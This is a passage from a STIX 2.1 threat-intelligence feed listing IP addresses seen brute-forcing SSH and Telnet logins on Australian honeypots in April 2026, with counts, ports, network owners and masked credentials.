      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0823462f-d19e-4b62-81c4-5f0c82129a0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t, u****u, 3**********4, d****y, a****n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****1, 1*******A.",
      "id": "indicator--cf22e4fc-e750-45d3-959d-095dabcf16eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--fdb37fac-711f-4b62-90a5-93c9389f7fc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:15:08.000Z",
      "valid_until": "2026-05-21T19:15:02.000Z"
    },
    {
      "created": "2026-04-19T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--41ce4bfb-cd5b-4dba-8767-0be11721942d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:15:08.000Z",
      "valid_until": "2026-05-21T19:15:02.000Z"
    },
    {
      "created": "2026-04-19T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--f18bcb17-037f-4050-9d75-31f767780cb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:15:08.000Z",
      "valid_until": "2026-05-21T19:15:02.000Z"
    },
    {
      "created": "2026-04-19T19:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--73742297-af2e-4a91-ae1a-d07489a2dc49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.104.42.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:15:08.000Z",
      "valid_until": "2026-05-21T19:15:02.000Z"
    },
    {
      "created": "2026-04-19T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--c3927bec-00ce-4e53-8bda-87dddf4e75ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:15:08.000Z",
      "valid_until": "2026-05-21T19:15:02.000Z"
    },
    {
      "created": "2026-04-19T20:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--0eb39bf6-855a-4a9a-9f3f-a93f1bbb3ad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.198.110.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:15:03.000Z",
      "valid_until": "2026-05-21T20:15:02.000Z"
    },
    {
      "created": "2026-04-19T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Heralding. Target ports: 5900. Source country: PT. ASN(s): 20879. Organisation(s): Digi Romania S.A.. Passwords observed (masked): 0**0, 1**1, 1**4, 1****6, a****s.",
      "id": "indicator--936510c8-41b5-4ce2-aa7f-730c4fb5d1a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.223.15.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:15:03.000Z",
      "valid_until": "2026-05-21T20:15:02.000Z"
    },
    {
      "created": "2026-04-19T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--b75b9183-4c11-466c-af84-6379b4ccba44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:15:03.000Z",
      "valid_until": "2026-05-21T20:15:02.000Z"
    },
    {
      "created": "2026-04-19T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--21260b7b-0db2-4330-86e4-6ef602bda2ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:15:03.000Z",
      "valid_until": "2026-05-21T20:15:02.000Z"
    },
    {
      "created": "2026-04-19T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--ee5945fa-7dd3-44e5-bf18-bf38462fd400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:15:03.000Z",
      "valid_until": "2026-05-21T20:15:02.000Z"
    },
    {
      "created": "2026-04-19T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH.",
      "id": "indicator--7d39ebf4-7e78-432b-855c-213239e6f68e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T20:15:03.000Z",
      "valid_until": "2026-05-21T20:15:02.000Z"
    },
    {
      "created": "2026-04-19T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--035332b0-1500-481a-84e9-d3c13fa07c35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.116.219.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T21:15:03.000Z",
      "valid_until": "2026-05-21T21:15:02.000Z"
    },
    {
      "created": "2026-04-19T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1aeefd22-c3ee-4fd2-8b2c-80fa85569767",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.190.114.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T21:15:03.000Z",
      "valid_until": "2026-05-21T21:15:02.000Z"
    },
    {
      "created": "2026-04-19T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d095d900-ca4c-47c7-bc82-38dd0db82618",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.230.61.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T21:15:03.000Z",
      "valid_until": "2026-05-21T21:15:02.000Z"
    },
    {
      "created": "2026-04-19T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28250. Organisation(s): Vogel Solucoes em Telecom e Informatica SA.",
      "id": "indicator--29abb18c-cef3-4a41-8d6c-3d9afb7a8c29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.107.128.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T21:15:03.000Z",
      "valid_until": "2026-05-21T21:15:02.000Z"
    },
    {
      "created": "2026-04-19T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--33251fa0-81d9-43d8-88cb-a73f4bf8a161",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.45.145.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T21:15:03.000Z",
      "valid_until": "2026-05-21T21:15:02.000Z"
    },
    {
      "created": "2026-04-19T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, c****g, g***t, i*******r. Passwords observed (masked): a***n, *, O************Z, a*******3, c****g.",
      "id": "indicator--4b14d777-f8fb-4b07-b3fd-299e5bd2d7bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.173.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:15:06.000Z",
      "valid_until": "2026-05-21T22:15:02.000Z"
    },
    {
      "created": "2026-04-19T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:15:06.000Z",
      "valid_until": "2026-05-21T22:15:02.000Z"
    },
    {
      "created": "2026-04-19T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--bf830de7-d382-4213-9c68-425148392021",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.33.220.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:15:06.000Z",
      "valid_until": "2026-05-21T22:15:02.000Z"
    },
    {
      "created": "2026-04-19T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--da93830c-4cae-4186-a33e-f46f3d9bd209",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:15:06.000Z",
      "valid_until": "2026-05-21T22:15:02.000Z"
    },
    {
      "created": "2026-04-19T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--90939b91-9339-4d9a-aa25-ad89b310e468",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T22:15:06.000Z",
      "valid_until": "2026-05-21T22:15:02.000Z"
    },
    {
      "created": "2026-04-19T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, h******!, r********6.",
      "id": "indicator--c52e58d7-a0dd-4ab5-95b6-d0f4e5742a95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.96.202.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T23:15:10.000Z",
      "valid_until": "2026-05-21T23:15:08.000Z"
    },
    {
      "created": "2026-04-19T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--839a0843-7453-42de-98e6-936cd85bf8e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.142.86.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T23:15:10.000Z",
      "valid_until": "2026-05-21T23:15:08.000Z"
    },
    {
      "created": "2026-04-19T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12400. Organisation(s): Partner Communications Ltd..",
      "id": "indicator--e863e0bd-17c9-4182-a27e-8af88c19fe61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.71.148.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T23:15:10.000Z",
      "valid_until": "2026-05-21T23:15:08.000Z"
    },
    {
      "created": "2026-04-20T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b676579e-8947-4939-82f9-3e6f49e94431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.106.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:15:03.000Z",
      "valid_until": "2026-05-22T01:15:02.000Z"
    },
    {
      "created": "2026-04-20T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--ad4996fe-200a-4de1-9929-f6b3de3d859c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.134.126.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:15:03.000Z",
      "valid_until": "2026-05-22T01:15:02.000Z"
    },
    {
      "created": "2026-04-20T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c1788a2b-b8ad-4d8d-a954-fa7e62e8695b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.146.183.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:15:03.000Z",
      "valid_until": "2026-05-22T01:15:02.000Z"
    },
    {
      "created": "2026-04-20T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--91c4ae3b-35a8-4d8d-be12-b6bddab28a43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.172.55.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:15:06.000Z",
      "valid_until": "2026-05-22T02:15:01.000Z"
    },
    {
      "created": "2026-04-20T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--13da4231-d7be-4f15-ba65-5c3c4c877ab3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:15:06.000Z",
      "valid_until": "2026-05-22T02:15:01.000Z"
    },
    {
      "created": "2026-04-20T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--baa5b08d-8caa-42c6-808c-8c7e1e60b8f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:15:06.000Z",
      "valid_until": "2026-05-22T02:15:01.000Z"
    },
    {
      "created": "2026-04-20T02:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--45db6003-7a7d-403b-8050-c80529741557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.112.249.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:15:06.000Z",
      "valid_until": "2026-05-22T02:15:01.000Z"
    },
    {
      "created": "2026-04-20T02:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 201002. Organisation(s): PebbleHost Ltd.",
      "id": "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T02:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T02:15:06.000Z",
      "valid_until": "2026-05-22T02:15:01.000Z"
    },
    {
      "created": "2026-04-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--d88ad00a-6cdb-4a34-9293-9d1cb476a0a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.199.107.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:15:11.000Z",
      "valid_until": "2026-05-22T03:15:09.000Z"
    },
    {
      "created": "2026-04-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0eb3abea-572d-4640-8fbd-34c94dd2de4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.208.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:15:11.000Z",
      "valid_until": "2026-05-22T03:15:09.000Z"
    },
    {
